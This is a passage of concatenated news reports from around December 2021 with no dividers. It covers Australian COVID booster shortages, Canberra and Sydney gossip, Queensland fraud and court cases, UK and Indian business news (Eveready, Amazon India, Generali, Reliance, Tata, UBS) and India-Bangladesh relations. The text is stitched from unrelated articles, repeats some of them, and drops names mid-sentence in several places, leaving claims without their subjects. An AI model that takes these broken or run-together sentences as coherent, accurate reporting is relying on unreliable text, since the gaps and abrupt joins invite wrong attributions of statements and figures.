shots. Credit:Paul Rovere Yet again, the GPs are the last to know, he said. Ripponlea Medical Centres practice manager Marcus Gwynne said the phones had been ringing off the headsets at his clinic since the booster program was fast-tracked. At the start of the week, the clinic had 120 doses, but right now, I could probably use 1000, Mr Gwynne said. The earliest the federal government can supply him with fresh vials is Christmas. The clinic had to cancel a scheduled booster program at a local aged care facility on Thursday, due to a lack of vaccines. Carnegie Central Medical Clinics practice manager Samantha Allen said she needed at least 150 doses of Pfizer to meet the sudden rise in demand, but that the clinic only had 48. The clinic has put in an urgent order of 720 doses with the federal government, which she hopes will arrive in about a week, but she admits there are no guarantees. The clinic had recently thrown out about 200 expired doses. Theres been a lot of wastage leading up until now because of the shelf life and we were planning to wind down for Christmas and New Year, as most people have been double-dosed. We werent expecting the booster doses to come in so early, Ms Allen said. Australian Medical Association national president Omar Khorshid said he suspected the delays in getting doses to doctors was due to a surge in orders in recent days, rather than a lack of vaccine supply. He said Australia should be aiming to administer a million boosters a week and that state-run clinics should remain open for the duration of the booster program. AMA president Dr Omar Khorshid. Credit:Alex Ellinghausen Weve got this emerging variant, and weve got this urgent need to get boosters in arms and pretty much vaccinate the entire population again in a short period of time, Dr Khorshid said. At the moment it looks like its set to fail, but we have the opportunity to address it now. By the end of this month close to four million people will be eligible for a booster, however, in the last week, Australia has only been able to administer just over 210,000 booster doses. Royal Australian College of General Practitioners Victorian chair Anita Munoz said she had received several letters from Victorian GPs who were considering pulling out of the vaccine program because it was not financially viable for them to continue. Loading They have been left bruised and battered ... the morale and the goodwill among doctors is totally eroding, she said. We are very, very concerned that general practitioners will only be able to, at best, vaccinate their own patients. With the decommissioning of state-run vaccine centres, it is going to lead to a very sluggish booster rollout. Dr Munoz confirmed she was aware of reports of GP clinics having to throw out expired vaccine doses due to dwindling demand, but she said the extent of this was hard to quantify. She suspected changing advice around boosters was partly to blame. In a further sign the booster program is under pressure, two-thirds of Victorian pharmacists signed up to deliver COVID-19 vaccines were no longer ordering Pfizer jabs in November, due to inadequate remuneration from the federal government. The states largest vaccine hub at the Royal Exhibition Building will close on Friday. The Melbourne Convention and Exhibition Centre is also set to close. Vaccine hubs running at Melbourne Showgrounds, St Vincents Private Hospital at Werribee and the Olivia Newton-John Cancer Wellness and Research Centre have already closed as demand for vaccines dwindled and the state reached the key 90 per cent double dose milestone. Victorias largest vaccine hub at the Royal Exhibition Building will close on Friday. Credit:Penny Stephens The state government has now announced 10 pop-up vaccine clinics to assist with the booster program. Royal Australian College of General Practitioners national president Karen Price said GPs were being expected to lead the vaccine booster program at the same time they were being inundated with people presenting with delayed diagnosis and mental health issues linked to the pandemic. Once again primary care is being asked to step up and the resourcing is going to be critical, she said. General practices were being paid about $10 less to deliver boosters compared to first and second doses just under $25 and about $66 combined for the first and second doses. Royal Australian College of GPs NSW chairwoman Charlotte Hespe said her Glebe medical practice was doing at least 120 booster appointments each day, but limited staffing and constrained vaccine supply meant the practice could not ramp up further. Its has been bedlam yet again, said Dr Hespe. People are calling to check when they are eligible and see if we can be flexible about timing and bring doses forward a few days. Loading But because we had thought the booster program wouldnt kick off until January we told all the extra nurses we trained up to come back next year. Dr Hespe also said many GPs are running short of vaccine supply with practices securing orders weeks ago and new orders not set to arrive until the new year. People who are due to have their booster around Christmas are asking if they can come a few days earlier and we want to be able to provide that flexibility, especially for people who have had accelerated AstraZeneca doses. First published in The Sydney Morning Herald on December 17, 1971 Disregarding cold and rain, thousands of Christmas shoppers poured into the city last night for Sydneys first late trading period since World War II. The evening crowds jostled on the pavements, but the atmosphere was festive and relaxed. Shoppers in Sydney enjoying the late hours. Credit:Staff Phtotographer They brought a sales boom for stores and road jams. At 5 pm, much city traffic was at a standstill. Market Street was blocked between Pitt and Castlereagh Streets for more than half an hour while firemen fought a fire in an office building. Most Australians with overseas bookings are holding their nerve amid the latest COVID-19 uncertainty, travel agents say, although the majority of people are still not prepared to take risks. Flight Centre managing director James Kavanagh said there was a surge in bookings when Australias travel restrictions were lifted in November, before the Omicron variant caused some hesitation. We saw a slight wobble with general inquiries for new bookings over a few days. There was a little bit of uncertainty with unknown impacts, he said. There seems to be a restored confidence. We havent seen mass cancellations, which is great news. But while cancellations might be low, theres a large cohort unwilling to travel, Cherrybrook Travel manager Liz Ellis said. CAMERA READY Say hello to Alexander Downer, UK TV star. Alexander Downer will be a pundit on GB News. Credit:Illustration: Matt Golding Our longest-serving foreign minister, who was also our high commissioner in London for four years, has been hired by GB News, the right-wing UK news channel that had a rocky launch this year. The D-man will start contributing as an international relations analyst in the new year thanks to GB News boss Angelos Frangopoulos, who ran Sky News Australia for two decades. This year Downer proved a dab hand at the punchy sound bite, telling Sky News that former prime ministers Malcolm Turnbull and Kevin Rudd needed to get over it. It looks as though theyre bitter about their own demise from power, and theyre playing out some sort of act of vengeance, he told Sky News. In April, he opined that it was a bloody outrage that Aussie citizens had to pay $10,000 to return home. Last year he was appointed to assist the government of the British overseas territory of Gibraltar in its free-trade negotiations with Australia. Other notches on Downers belt include chair of Britains Policy Exchange think tank, executive chair of the Kings College International school for government and chair of Londons Royal Over-Seas League. Downer is also principal at Tenjin Consulting, the London and Melbourne-based firm he runs with daughter Georgina Downer. They also co-host the international relations GeoPod podcast. Sounds like perfect training for GB News. In media news closer to home, CBD hears that former Sydney Morning Herald editor Lisa Davies is being lined up for a big job at wire service AAP OFFICE POLITICS Two years ago, federal MP Jason Wood endured an uncomfortable blast of public scrutiny after planning a $750-a-head cocktail party at Melbournes invitation-only Candela Nuevo club. The event, which included Chisholm MP Gladys Liu as a celebrity auctioneer, drew criticism for potentially breaching ministerial standards. Liberal member for La Trobe Jason Wood. Credit:Facebook Labor accused the MP for the marginal Victorian seat of La Trobe of a potential misuse of public resources after he registered his fundraising vehicle the Pinnacle Club, an entity associated with the Liberal Party to his electorate office address. According to ministerial guidelines that applied to the assistant minister, staff are provided with resources and facilities at public expense for the effective conduct of public business. In other words, MPs cant use electorate resources to aid their fundraising activities. At the time, Wood rejected any breach of standards. But an advertisement for the Pinnacle Clubs newest money-spinner listed Woods parliamentary media adviser Clinton OFarrell as a contact. Was Wood using parliamentary resources for fundraising? Not so, OFarrell initially told CBD before realising a correction was in order. Fundraising for the Pinnacle Club is undertaken outside of work hours, using a personal mobile phone, he said with an almighty but. On this occasion, a thank-you note was sent to stakeholders for their support on a weekday morning. We accept this should have occurred outside of work hours and will ensure this happens in the future. FALLING OUT Investor Mark Carnegie has swapped Sydney for the more crypto-friendly climes of Singapore, where he has domiciled a new crypto investor called MHC Digital Co. But its not his only relocation. Ad industry luminary John Singleton Credit:Shaughn and John After more than a decade as a mainstay of ad man John Singletons commercial space off Underwood Street in Sydneys Paddington, Carnegies signature asset management firm needs new digs. Singo is refusing to renew his lease. Turns out that the relationship between the pair first introduced by convicted fraudster and former Age owner Conrad Black no joke has reached the end of the line after almost 40 years. Hes being evicted as soon as his lease is up, Singo told CBD bluntly on Wednesday. I said to him, I no longer want an association with you and I find you unnecessary and unpleasant. Singo personally stopped talking to [Carnegie] 10 years ago but has continued business relations with Carnegie, who once held power of attorney for the veteran ad man. Its all about Carnegies fee schedule. Carnegies fee schedule with Singo was remarkably similar to his new MH Digital Co venture where investors will be charged a 2 per cent management fee in addition to a stonking 20 per cent performance fee on returns above six per cent. Mark Carnegie: Remembering the good times. Credit:Edwina Pickles After decades shelling out, its worn thin. The pair had successes with Pleasure State lingerie and Lonely Planet, and plenty of failures, for all of which Carnegie charged his 2 per cent management fee. He won when I won and when I lost, he still won, Singleton said. Carnegie was more restrained in response: John and I have spent many years as friends and partners and made a lot of money together. Now, it seems he wants to go a different way. The gambler, his father and a line-dancing scam took centre stage in a Brisbane court to decide whether a case should go to trial and whether the accused duo should be granted bail in the meantime. Brett Jenkins and his father, Bruce, were arrested in May 2020 after Queensland police chased them for a year. Brett has been charged with 308 fraud offences, while Bruce has 311 fraud charges. Brett Jenkins (left) was 38 and Bruce Jenkins (right) was 67 when they were arrested and charged in May 2020. Credit:Queensland Police Service They are accused of luring line dancers to pay for holidays that did not exist, robbing their victims of more than $400,000. The money was then used for online gambling, according to police. It is alleged the pair organised holidays via a line-dancing travel company. A senior One Nation party figure has been charged with fraud, and will face a Queensland court next year, over a funding application made during last years state election. Alex Jones, the 22-year-old national executive treasurer for the party, has been charged with two counts of uttering forged documents and one count each of attempted fraud and forgery. One Nation has been contacted for comment regarding the criminal charges. (File image) Credit:Tony McDonough The police investigation began in January after a referral from the Electoral Commission of Queensland. Detectives raided a residential address at Hamilton in inner Brisbane and an office address at Holt Street in nearby Eagle Farm on Wednesday morning. Mr Jones lives in Hamilton. A truck driver whose inattention on a road in country Victoria caused a crash that killed a primary school teacher and her son, and seriously injured another boy, has been jailed for two years and seven months and could be released early next year. Instead of watching an unfamiliar road, Michael Knowler was looking at the GPS on his mobile phone as his prime mover approached an intersection in Kingston, north of Ballarat, on December 29, 2019, even though he knew a crossroads was ahead. Jess West and son Deighton were killed in a road crash. The distraction meant Knowler was unable to stop his truck at a give-way sign, and it crashed into a car driven by Anthony West, who with wife Jess and sons Deighton and Oakley were travelling to visit family. Ms West, 37, and five-year-old Deighton were killed instantly as their car flipped several times, and Oakley, then aged nine, suffered a brain injury, and fractures to his neck and hip. Mr West suffered minor injuries and told court it was only a murmur from Oakley that made him not want to die in the wreckage. A government-held electorate in Brisbanes north has received 47 times the amount of federal funding this term than its neighbouring opposition-held seat. Defence Minister Peter Duttons electorate of Dickson, which stretches from Arana Hills to north of Dayboro, received $43.6 million in federal grants over the past three years. Prime Minister Scott Morrison bowls against Brookfield students in Brisbanes west before batting away questions on the proportion of grants handed to Coalition seats. Credit:Tony Moore By contrast, the Labor-held suburban seat of Lilley next door received grants of just $932,400. Lilley is Labors most marginal Queensland seat, held by Anika Wells with a majority of just 0.6 per cent. London: Almost 100 Conservative MPs voted on Wednesday (AEDT) against new coronavirus restrictions, dealing a major blow to British Prime Minister Boris Johnsons authority and raising questions about his leadership. The new rules, which included ordering people to wear masks in public places and use COVID-19 passes for some venues, passed thanks largely to the main opposition Labour Party. Britains Prime Minister Boris Johnson. Credit:Getty After a day of frenzied failed lobbying, Johnson was handed the biggest rebellion against his government so far by his party over measures he said were necessary to curb the spread of the new Omicron variant. The revolt piles pressure on Johnson, already under fire over scandals such as reported parties in his Downing Street office last year - when Britain was in a COVID-19 lockdown - and a pricey refurbishment of his apartment. London: The President of the Glasgow climate summit has heaped pressure on Prime Minister Scott Morrison saying he will be expected to deliver on the commitment Australia made to toughen up its 2030 reduction targets at next years meeting. In October, Morrison ruled out any change to Australias end-of-decade target. However, the following month, Australia signed up to an international request for countries to strengthen their 2030 goals at the COP27 gathering in Egypt, creating more uncertainty about expectations. Alok Sharma, President of the COP26 summit in November. Credit:AP Speaking to foreign journalists in London on Thursday AEDT, Alok Sharma said Australia would have to meet the promises it made in November. Sharma said that the agreement for a global stocktake of the 2030 target in 12 months time was a historic first. Latest News MyState set for major broker play in 2022 "The difference between product and policy is minimal at the moment, but what we've been able to do is ask the brokers to trust us" Pepper Money predicts 2022 in asset finance space One of Australia's leading lenders on where the sector will travel in the coming 12 months AFGs new strategic partnership manager Christa Malkin has set out her stall to broker partners, explaining how vital it was for aggregators to understand the challenges faced by the broker channel. Speaking to Australian Broker to celebrate her new appointment, Malkin explained her new role, and where her position, and that of Them Lam, who sits above her in the AFG structure, fit into the way that the aggregator deals with larger broker partners. Im based in Victoria, and I know most of the groups here already having been in the industry for a while, but I also know the NSW groups and we have groups all over the country, she said. My role is to work with Them Lam, our national manager for strategic partnerships, to give them a service differentiation. They have different needs to your standard broker groups: theyre huge businesses, they need to have the right tools to run them, and its our role to help them find those. Read more: NAB and CoreLogic team up for broker insight report They know how to run a business and they havent got to be as successful as they have because they dont. Were there to help them with the 1%, to find solutions whether from an aggregation point of view or whether its understanding what is available in the market that can help them go to the next level. Its about working closely with those groups to provide a different service proposition and really understanding their needs. We listen and try to work with them to find the solutions. Malkin is responsible on the larger scale side, dealing with broker businesses, in a role that seems analogous to that of Joseph Khal, the new head of broker experience who joined in August to deal with individual brokers. Well work with Joseph, she said. His role is to look across the whole broker business to improve the experience for all AFG brokers. My role is to work with our top 30 to 40 groups, enterprise size business, who are able to help us with that broker experience side too for example, what a business of that size needs from their aggregator, so Joseph can go away and work on with our various departments. We work closely together, especially through 2022. Were in the process of developing a new CRM system and some of our strategic groups have been heavily involved in the development of that. Its really about developing the tool that suit everyone. Both Khal and Malkin represent a commitment from AFG to dealing with brokers on a personal level, and returning to the human interactions that had been absent in recent years. Its a focus of ours, said Malkin. Especially after what weve all been through, human interaction is important for everyone. Sometimes, it takes a relationship with someone that you trust to recognise blind spots when youre working in your business everyday we know what we can offer that our businesses might not have time to look into. In us understanding our business, we know what we need to solve and you cant get that without building human relationships, listening to problems and then working on them. Thats not just strategic partners, thats across all of our groups. Strategic partners is just one part of it, and now that we can go out there will be a lot of face-to-face in 2022. We plan to work our way around the country to spend time in these businesses. Battery maker from the Brij Mohan Khaitan stable, Industries India, is gearing up for a slew of changes as it recharges for the next phase of growth. The Khaitan family with less than five per cent holding in the company may give up the drivers seat after more than two decades with the term of Amritanshu Khaitan, managing director, coming to an end in May 2022. A source close to the development said Khaitan is unlikely to seek reappointment as managing director. Khaitan declined to comment. But sources said the Burman family promoters of Dabur India were in favour of the company being run professionally and in sync with that philosophy Khaitan may not seek another term. The Burmans are the largest shareholder in the company with a holding of about 19.85 per cent. The Khaitan family, however, will retain the promoter tag with its minority holding and continue having board representation. The promoter shareholding in stood at 4.84 per cent in the quarter ending September, down from 7.26 per cent a year back and 30.83 per cent in 2019, as financiers invoked pledged shares (the shares were pledged to borrow funds for group firm, McNally Bharat Engineering). As promoter holding dropped, started making moves to professionalise the management and the first step came in August when it appointed a joint managing director. Suvomoy Saha, a non-executive director, took charge as a joint managing director with effect from August 10, 2021, to enhance leadership in seeking re-orientation of processes in the post-pandemic world and for new growth avenues. Sources indicated that if Khaitan doesnt seek reappointment, a new managing director or chief executive officer would be appointed sometime next year. This would not be the first time that Eveready would have had an outsider as managing director. Eveready came under the Khaitan fold in 1993 when it acquired Union Carbide India (renamed Eveready Industries India). For the first four years, C P Raman was the managing director till Brij Mohan Khaitans elder son, Deepak Khaitan, took charge. The baton passed to Deepak Khaitans son, Amritanshu Khaitan, in 2014. Currently, on the board of Eveready, the family is represented by Amritanshu and Aditya Khaitan who is the chairman in a non-executive capacity. Though the Burman family has been the largest shareholder in Eveready for more than a year now, they dont have representation on the Eveready board. But sources said they could be evaluating the next steps in the company, which may include an open offer or board representation even though they pointed out no decision has been made. Mohit Burman, vice-chairman, Dabur India, did not comment on a possible open offer or board representation. While Amritanshu Khaitan said, We value the Burmans as stakeholders. So far, they have not asked for a board seat. Any decision in this regard, however, may be subject to the outcome in a pending legal case. An interim Delhi High Court order prevents a change in the capital structure and sale of assets of Eveready, McLeod Russel India and other Williamson Magor group The case was filed by KKR India against the Williamson Magor group to recover a Rs 200-crore loan and the order is awaited. Even as larger shareholder issues wait to get sorted, the company is understood to be looking at roping in a major consultant for charting out the next phase of growth, or Eveready 2.0. On the appointment of a consultant, Khaitan said, We are always looking at opportunities to enhance growth prospects and keep looking at various options. The aim is to significantly grow the companys turnover and profitability as well as expand the product range. Eveready has a more than 50 per cent share in the Indian dry cell battery segment and more than 70 per cent in the organised flash light market. But it is also looking to grow newer verticals such as lighting and appliances. India on Wednesday said it now has over 10 lakh sellers on its platform with more than 4.5 lakh new merchants joining the platform in the past two years. More than 90 per cent of the sellers on in are local small and medium businesses (SMBs) and over half of these sellers on the marketplace come from tier-II and -III cities, according to a statement. Since January 2020, over 4.5 lakh new sellers have joined in. Of these, over one lakh are local offline retailers and neighbourhood stores that have been onboarded on the Amazon marketplace through the Local Shops on Amazon programme, it added. "It is heartening to see the role Amazon is playing in enabling small local businesses across the country, including local offline retailers and neighbourhood stores from across India that are adopting e-commerce and placing their trust in Amazon to grow their business by selling online, participating in last-mile deliveries, joining assisted shopping and more," Amazon India Vice-President Manish Tiwary said. He added that the rapid growth of sellers joining Amazon.in reflects the tremendous entrepreneurial spirit of the Indian businesses and the key role e-commerce has played in their business, especially during the recent challenges caused by the pandemic. "As we look forward, we remain committed to our pledge of digitising 10 million SMBs, including the ubiquitous dukaans. We strongly believe that Amazon can play a significant role in fueling India's digital economy to its USD 1 trillion ambition," Tiwary said. Since its entry into the Indian market in 2013, Amazon has been investing in creating the infrastructure and ecosystem to support SMBs to adopt e-commerce. This includes initiatives like taking Chai Cart and Tatkal vans to markets and SMB hubs in cities across India for increasing awareness about e-commerce and launching several India-first innovations for Amazon like Seller Flex and Easy Ship. The company also operates key seller cohorts like 'Karigar' for weavers and artisans, 'Saheli' for women entrepreneurs and 'Launchpad' for emerging direct-to-consumer brands. Amazon has been engaging with the vast network of local neighbourhood stores across India, integrating e-commerce into their operations through focused programmes like Local Shops of Amazon (for online selling), Amazon Easy (for assisted shopping), I Have Space (for last-mile deliveries) and others. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) India on Wednesday said that over 10 lakh sellers are now selling on its e-commerce platform from across India. The company had started in India in 2013 with 100 sellers and has today grown to be the preferred online destination for sellers across India. Notably, more than 90 per cent of the sellers on are small and medium local businesses (SMBs) and over half of these sellers on the marketplace come from tier 2 and tier 3 cities. Since January 2020, more than 4.5 lakh new sellers have joined and over one lakh of these new sellers are local offline retailers & neighbourhood stores that have onboarded the Amazon marketplace through the 'Local Shops on Amazon' program. It is heartening to see the role Amazon is playing in enabling small local businesses across the country, said Manish Tiwary, Vice President These include local offline retailers and neighbourhood stores from across India that are adopting e-commerce and placing their trust in Amazon to grow their business by selling online, participating in last-mile deliveries, joining assisted shopping and more. Since its inception in India, Amazon has been focused on creating the infrastructure and the ecosystem needed to support SMBs to adopt e-commerce. This includes taking Chai Cart and Tatkal vans to markets and SMB hubs in cities across India for increasing awareness about e-commerce. It has been launching several India first innovations for Amazon like Seller Flex and Easy Ship. The firm has also been creating focused programs to address key seller cohorts like Karigar for weavers and artisans, Saheli for women entrepreneurs and Launchpad for emerging direct-to-consumer brands. The teams across Amazon have been focused on enabling these small businesses across India expand their reach to customers across the country and the world through e-commerce. The rapid growth of sellers joining Amazon.in reflects the tremendous entrepreneurial spirit of the Indian businesses and the key role e-commerce has played in their business especially during the recent challenges caused by the pandemic, said Tiwary. As we look forward, we remain committed to our pledge of digitizing 10 million SMBs including the ubiquitous dukaans. We strongly believe that Amazon can play a significant role in fueling Indias digital economy to its $1 trillion ambition. Amazon has been engaging with the vast network of local neighbourhood stores across India, integrating e-commerce into their operations through focused programs like Local Shops of Amazon (for online selling), Amazon Easy (for assisted shopping), I Have Space (for last-mile deliveries) and more. These focused programs have been witnessing rapid adoption. Launched in April 2020, Local Shops on Amazon brings the benefits of e-commerce to offline retailers and neighbourhood stores. It helps them supplement existing footfalls at their stores with a digital presence on Amazon and expand their reach beyond their normal catchment. For customers, this program brings together the safety and convenience of online shopping with the familiarity and trust of their favourite local stores. The program has witnessed accelerated adoption across the country, growing over 20 times since launch with the total number of sellers on the program doubling in just the last eight months. The program has already been expanded to 450 cities across India including top metros as well as tier 2 and tier 3 cities like Sangli, Osmanabad, Jamnagar, Gorakhpur and Jabalpur. Amazon has pledged to onboard 10 lakh local stores on Amazon by 2025. Also, launched in 2015, Amazon Easy enables assisted shopping experience for new to Amazon customers, especially in smaller towns and cities, while enabling additional income for these local stores. Customers can walk into the store and place an order on Amazon with guided assistance from the store staff and pick up the order from the store or get it delivered at their doorstep. The number of Amazon Easy stores is on track to the 1 lakh stores mark by end of 2021. An upgraded Amazon Easy store format has recently been launched offering a touch & feel product experience and integrating multiple Amazon services through a single touchpoint. The upgraded format stores will soon be expanded to other parts of the country. With the launch of the I Have Space (IHS) program in 2015, Amazon has empowered and unlocked the entrepreneurial potential of many neighbourhood stores across the country. Under this program, Amazon helps local business owners to deliver products to their customers within a 2 to 4 kilometres radius of their store, allowing them to increase their sales and generate more footfalls in their stores. This is a network of close to 28,000 micro-businesses and retail outlets in more than 420 cities across India. The corporate affairs ministry on Tuesday provided more leeway for in terms of holding annual general meetings in virtual mode. The relaxation will be applicable for planning to hold their annual general meetings (AGMs) next year for the financial year 2021-22. proposing to hold their AGMs in 2022 for the financial year ended/ending any time before/on March 31, 2022 have been allowed to conduct the same through the virtual mode till June 30, 2022, according to a circular. The companies can conduct their AGMs through video conference (VC) or other audio visual means (OAVM). The ministry also clarified that the circular should not be construed as conferring any extension of time for holding AGMs by the companies under the Companies Act, 2013. "... the companies which have not adhered to the relevant timelines shall be liable to legal action under the appropriate provisions of the Act," the circular said. Chandrika Sridhar, Partner at Deloitte India, said the clarification by the ministry regarding holding AGM through VC or OAVM is a welcome one and timely. "It will provide a breather for companies due to the continuing restrictions (and possible third wave considerations) relating to the pandemic," Sridhar added. The ministry is implementing the Companies Act, 2013. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance. We, however, have a request. As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed. Support quality journalism and subscribe to Business Standard. Digital Editor Italy's top insurer Generali on Wednesday pledged to return up to 6.1 billion euros ($7 billion) in dividends and buybacks to shareholders as Chief Executive Philippe Donnet presented a new strategy to 2024. Donnet, whose permanence at the helm has been called into question due to a clash among Generali's top three shareholders, also earmarked up to 3 billion euros for mergers and acquisitions in insurance and asset management. Generali targets an average earnings per share growth of 6-8% a year under the new plan, it said in a statement. Donnet's strategy won 11 votes out of 13 on Generali's board, two sources close to the matter said late on Tuesday. Generali's second-largest shareholder, Italian magnate Francesco Gaetano Caltagirone, voted against while a representative for Leonardo Del Vecchio, another top investor, did not attend the meeting, the sources said. Caltagirone and Del Vecchio, the billionaire founder of eyewear giant Luxottica, have challenged Donnet's leadership and his reappointment in April which is backed instead by a majority of board members and Generali's biggest investor Mediobanca. ($1 = 0.8875 euros) (Reporting by Gianluca Semeraro; editing by Valentina Za) (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) India's Ltd, operator of the world's biggest refining complex at Jamnagar in Western India, aims to get the first cargo of oil from its new Abu Dhabi-based trading unit in December, a source familiar with the matter said. Billionaire Mukesh Ambani-backed Reliance group in October announced plans to set up Reliance International Ltd (RINL) to trade in crude oil, petroleum, petrochemical products and agricultural commodities. The Indian conglomerate aims to get about a 500,000 barrels cargo of United Arab Emirates' Das crude from RINL, said the source, who is not authorised to speak to media. Abu Dhabi National Oil Co (ADNOC), which has leased part of the strategic petroleum reserve at Mangalore in southern India, supplied 1 million barrels of Das crude from the cavern to Reliance in October and 2 million barrels in November, data from trade sources show. India has allowed ADNOC to trade oil from the cavern. This month, Indian refiners are snapping up February-loading Middle Eastern sour crude after spot premiums halved from the multi-month highs seen for January-lifting cargoes, trade sources said. There are more supplies from the Atlantic Basin, while the Organization of the Petroleum Exporting Countries and their allies, a group known as OPEC+, decided earlier this month to continue increasing output by 400,000 barrels per day in January. Reliance has bought 4 million barrels of Das crude for February loading at premiums of about $2 to $2.30 a barrel to Dubai quotes, trade sources said, down from premiums of more than $5 in the previous month. Italy's Eni is supplying 1.5 million barrels, while PetroChina has sold 1 million barrels, they said. RINL, Total and Phillips 66 sold 500,000 barrels each, the sources said. The refiner last lifted similar volumes of Das crude from Abu Dhabi in August, Refinitiv data showed. No immediate comment was available from Reliance. Separately, state refiner Bharat Petroleum Corp and Nayara Energy, part owned by Russian oil major Rosneft , have bought Oman and Upper Zakum crude for February loading, while Indian Oil Corp has a tender closing on Wednesday. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Indian conglomerate plans to reclaim ground in the beauty business it exited 23 years ago, with the local market for cosmetics forecast to be worth $20 billion by 2025. Beauty products will be a key focus for us from now on along with footwear and underwear, Noel Tata, non-executive chairman of Trent Ltd., a unit operating a chain of retail stores, said in an interview at his office in Mumbai. Extended product line and experimentation with formats for these products are in the offing as we see these as growth areas in retail. Indias cosmetics and beauty market is estimated to nearly double by 2025 from $11 billion in 2017, according to data from Statista, aided in good measure by online retailers led by Mumbai-based Nykaa that saw a blistering growth during the pandemic. The startup, thats now a $13 billion company after a blockbuster IPO, helped millennial and Gen-Z consumers buy high-end beauty brands as well as access tutorials and testimonials from social media influencers. Thats a far cry from the beauty sector Indias largest business house dominated decades ago. Simone Tata, Noel Tatas mother, helped create Lakme--the French name for the Indian goddess of wealth, Lakshmi--in 1953 as the countrys first cosmetics company. The group sold it to Unilever Plcs local unit in 1998. While the coffee-to-cars conglomerate re-entered the turf in 2014, long after the 10-year non-compete clause had expired, its only now that the group has begun raising its game again. The revenue from beauty, footwear and underwear category is just about $100 million for Trent while the market is of about $30 billion now, according to data provided by the company. These three segments would be low-hanging fruits for Tatas at a time when they are aggressively expanding stores and distribution channels, said Kranthi Bathini, equity strategist at WealthMills Securities Pvt. While competition is high in these segments, the pie itself is expanding rapidly as consumption bounces back in the economy. New formats The $103 billion conglomerate, under Trent, is considering building new lines of in-house cosmetic brands that can be a vehicle of growth, Tata said. These products can be retailed through existing large-sized outlets under -- Trents flagship chain of retail stores -- or via standalone stores and through digital channels, he added. Noel, the half-brother of Ratan Tata, is one of the trustees on the board of Ratan Tata Trust, which is part of collective of charities that owns two-thirds equity in Tata Groups main holding firm. He has been overseeing the groups retail operations housed mostly in Trent for more than two decades. Indian women were used to buying makeup and hair-care products at mom-and-pop neighborhood stores where the selection was scanty and trials unheard of. With the proliferation of malls and supermarket store chains and more recently, the online stores, the sector has morphed into a fast-growing one, especially the three segments that Tata is targeting. I feel that we have barely scratched the surface in these categories and a significant part of these markets are still unorganized and a shift to organized retail is bound to happen. We are also seeing a shift in consumer behavior preferring more fashionable products in these categories, Tata said. The shares of Trent, founded in 1998, jumped more than 9-fold under Tatas leadership since 2014, outpacing peers Aditya Birla Fashion and Retail Ltd. and Shoppers Stop Ltd. In November, he moved into a non-executive role at Trent. Online, offline I see the digital opportunity helping us reach more customers wherever they are, Tata said, whether its browsing and buying online or at a brick-and-mortar store. Trent has been an early adopter of the omni-channel model in Indian retail with TataCliq and has recently ramped up its online presence with com. A super app, that is developing, will expand access to customers, he said. But Tatas retail business will stay off the deep discounting strategy of e-commerce giants including Amazon.com Inc and Flipkart Online Services Pvt. to lure price-conscious buyers, Tata said. About 90% of Trents total sales are at full price, according to data provided by the company. UBS will retain a significant onshore presence in India, the Swiss bank said on Wednesday after Bloomberg reported that it planned to move investment advisory services out of the country. "We remain committed to our business in India and retain a significant presence onshore and in the region," UBS said in an emailed statement. Bloomberg on Wednesday reported that UBS planned to shut its global office in India and move investment coverage for the country offshore. Three staff would leave the bank, Bloomberg reported, citing a person familiar with the matter, while two others could potentially be transferred to Singapore. The moves come as the Swiss lender is making changes in other geographies. It is retreating from its South African investment-banking operations, with around eight bankers leaving, Bloomberg reported on Friday. A "very small number of global banking" staff would be impacted, a person familiar with the matter told Reuters, confirming that global banking clients in India would be served offshore. However, no office would be closed, the person said. UBSs surprise jump in profit in the last quarter was fueled by wealth-management fees rising the most in three years. Its pivot to wealth management over the past decade has left it with a smaller investment bank than U.S. rivals but one that has maintained high levels of profitability. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) With being the central pillar of India's Neighbourhood First policy, Dhaka is New Delhi's largest trade partner in South Asia and bilateral trade between the two countries grew at an unprecedented rate of 14 per cent during the COVID-19 pandemic, said Foreign Secretary on Tuesday. Speaking at a special Ministry of External Affairs briefing, the Foreign Secretary also said is the most important economic partner of " is a central pillar of our Neighbourhood First policy. It is also the relationship where this policy intersects the element of our Act East policy. today, is Bangladesh's most important economic partner and Bangladesh is India's largest trade partner in South Asia. is the second-largest trade partner of Bangladesh," he added. Recalling Prime Minister Narendra Modi's visit to Bangladesh earlier this year, Foreign Secretary said that "It is the only country that is visited by PM Modi, President Ram Nath Kovind and Foreign Minister S Jaishakar. "In March, our Prime Minister paid a State visit to Bangladesh to join the Triveni of celebration. It is the measure of importance that we accord to our relations with Bangladesh that it is the destination of the first post-pandemic visits both President and Prime Minister. It is also the only country visited by the PM, President and Foreign Minister in the short period of time in the recent past," he said. The Foreign Secretary said: "India and Bangladesh jointly commemorated Maitree Diwas on December 6. It is jointly celebrated with New Delhi and Dhaka and also in capitals all over the world. Both Prime Ministers issued special messages on this occasion." "Despite the COVID-19 pandemic, bilateral trade was at an unprecedented rate of 14 per cent from 9.46 billion US dollars in 2019 to 10.78 billion dollars in 2021," he said. Shringla also said that Bangladesh is also one of our most important development partners both in terms of value and range of cooperation. "We extend of our third of our total global development assistance under lines of credit to Bangladesh." "In addition, we have been extending various projects to bring direct benefits to the local community. India Bangladesh is better connected than ever before. Road, rail, air, river and coastal connectivity is increasing. Multi-model transports that utilise more than one of these channels is today very much possible." "Joint energy space is steadily emerging, our electricity grids are interconnected from east and west with more than 1160 megawatts of powers way across from India and Bangladesh," he added. President Kovind will embark on a three-day State visit to Bangladesh from tomorrow. The visit is in the context of the 50th Victory Day celebrations in Dhaka which Bangladesh President Abdul Hamid has invited Kovind to represent India as a guest of honour. President Kovind is scheduled to depart for Delhi on December 17. (Only the headline and picture of this report may have been reworked by the Business Standard staff; 